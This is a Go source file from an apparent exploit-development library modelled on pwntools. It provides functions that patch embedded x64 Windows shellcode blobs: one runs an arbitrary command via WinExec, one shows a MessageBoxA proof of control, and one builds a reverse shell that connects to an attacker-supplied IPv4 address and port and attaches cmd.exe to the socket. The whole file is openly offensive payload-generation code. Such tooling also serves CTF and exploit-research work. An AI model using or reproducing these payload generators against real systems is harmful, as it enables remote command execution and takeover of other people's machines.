Files
go_pwner/shellcraft.go
T
2026-07-18 21:37:15 +03:00

120 lines
4.8 KiB
Go

package winpwn
import (
_ "embed"
"fmt"
"net"
)
// winexecX64Template is a prebuilt position-independent x64 shellcode blob
// (see shellcode/asm/winexec_x64.asm — kept as auditable NASM source
// alongside the compiled bytes, the same spirit as pwntools shipping
// shellcraft templates, just compiled ahead-of-time with NASM instead of
// assembled on demand with Keystone). It resolves kernel32's base via the
// PEB and calls WinExec by name, so it needs no leaked address and no
// hardcoded kernel32 base — just landing IP control (a ROP chain, an
// overwritten function pointer, a vtable hijack, ...).
//
//go:embed shellcode/bin/winexec_x64.bin
var winexecX64Template []byte
const winexecCmdBufSize = 260
// ShellcodeWinExec returns x64 shellcode equivalent to WinExec(command,
// SW_SHOW): no hardcoded addresses, resolves kernel32 itself, returns
// normally afterward so the host thread (and process) keeps running. The
// winpwn analogue of pwntools' shellcraft.sh()/asm(shellcraft.execve(...)).
func ShellcodeWinExec(command string) ([]byte, error) {
cmd := append([]byte(command), 0)
if len(cmd) > winexecCmdBufSize {
return nil, fmt.Errorf("command too long: %d bytes (max %d including the NUL terminator)", len(cmd), winexecCmdBufSize)
}
code := make([]byte, len(winexecX64Template))
copy(code, winexecX64Template)
off := len(code) - winexecCmdBufSize
copy(code[off:], cmd)
return code, nil
}
// messageboxX64Template ([shellcode/asm/messagebox_x64.asm]) resolves
// kernel32 via the PEB, then LoadLibraryA's user32.dll through
// resolve_export (not guaranteed loaded in a plain console process, unlike
// kernel32) to find MessageBoxA — same "no leaked address, no hardcoded
// base" property as ShellcodeWinExec, just for a GUI primitive instead of
// a process-launch one.
//
//go:embed shellcode/bin/messagebox_x64.bin
var messageboxX64Template []byte
const (
messageboxTextBufSize = 256
messageboxCaptionBufSize = 64
)
// ShellcodeMessageBoxA returns x64 shellcode equivalent to
// MessageBoxA(NULL, text, caption, MB_OK). Returns normally once the user
// (or whoever/whatever sends it a WM_CLOSE) dismisses the box, so the host
// thread keeps running afterward — useful both as a real GUI-process
// landing primitive and as a simple, visually-obvious "did my exploit
// actually land IP control" proof.
func ShellcodeMessageBoxA(text, caption string) ([]byte, error) {
textBytes := append([]byte(text), 0)
captionBytes := append([]byte(caption), 0)
if len(textBytes) > messageboxTextBufSize {
return nil, fmt.Errorf("text too long: %d bytes (max %d including the NUL terminator)", len(textBytes), messageboxTextBufSize)
}
if len(captionBytes) > messageboxCaptionBufSize {
return nil, fmt.Errorf("caption too long: %d bytes (max %d including the NUL terminator)", len(captionBytes), messageboxCaptionBufSize)
}
code := make([]byte, len(messageboxX64Template))
copy(code, messageboxX64Template)
// caption_buf is the very last thing in the assembled blob, text_buf
// right before it -- mirrors shellcode/asm/messagebox_x64.asm's layout.
captionOff := len(code) - messageboxCaptionBufSize
textOff := captionOff - messageboxTextBufSize
copy(code[textOff:], textBytes)
copy(code[captionOff:], captionBytes)
return code, nil
}
// reverseShellX64Template ([shellcode/asm/reverse_shell_x64.asm]) connects
// back to a fixed host:port over ws2_32 and spawns cmd.exe with its stdio
// redirected to the socket — the classic Windows reverse shell. Built on
// the same resolve_export primitive as ShellcodeMessageBoxA (ws2_32.dll
// isn't guaranteed loaded any more than user32.dll is).
//
//go:embed shellcode/bin/reverse_shell_x64.bin
var reverseShellX64Template []byte
const sockaddrBufSize = 16
// ShellcodeReverseShell returns x64 shellcode that connects to host:port
// and execs cmd.exe with its stdin/stdout/stderr redirected to that
// connection. host must be a literal IPv4 address (this is raw shellcode,
// it can't do DNS resolution) — pass the attacker box's IP, not a hostname.
func ShellcodeReverseShell(host string, port uint16) ([]byte, error) {
ip := net.ParseIP(host)
if ip == nil {
return nil, fmt.Errorf("invalid host %q: not an IP literal (shellcode can't resolve DNS)", host)
}
ip4 := ip.To4()
if ip4 == nil {
return nil, fmt.Errorf("host %q is not an IPv4 address", host)
}
code := make([]byte, len(reverseShellX64Template))
copy(code, reverseShellX64Template)
// sockaddr_buf is the last thing in the assembled blob: sin_family(2)
// sin_port(2) sin_addr(4) sin_zero(8) = 16 bytes total.
sockaddrOff := len(code) - sockaddrBufSize
code[sockaddrOff+2] = byte(port >> 8) // sin_port, network byte order
code[sockaddrOff+3] = byte(port)
copy(code[sockaddrOff+4:sockaddrOff+8], ip4) // sin_addr, already network-order bytes
return code, nil
}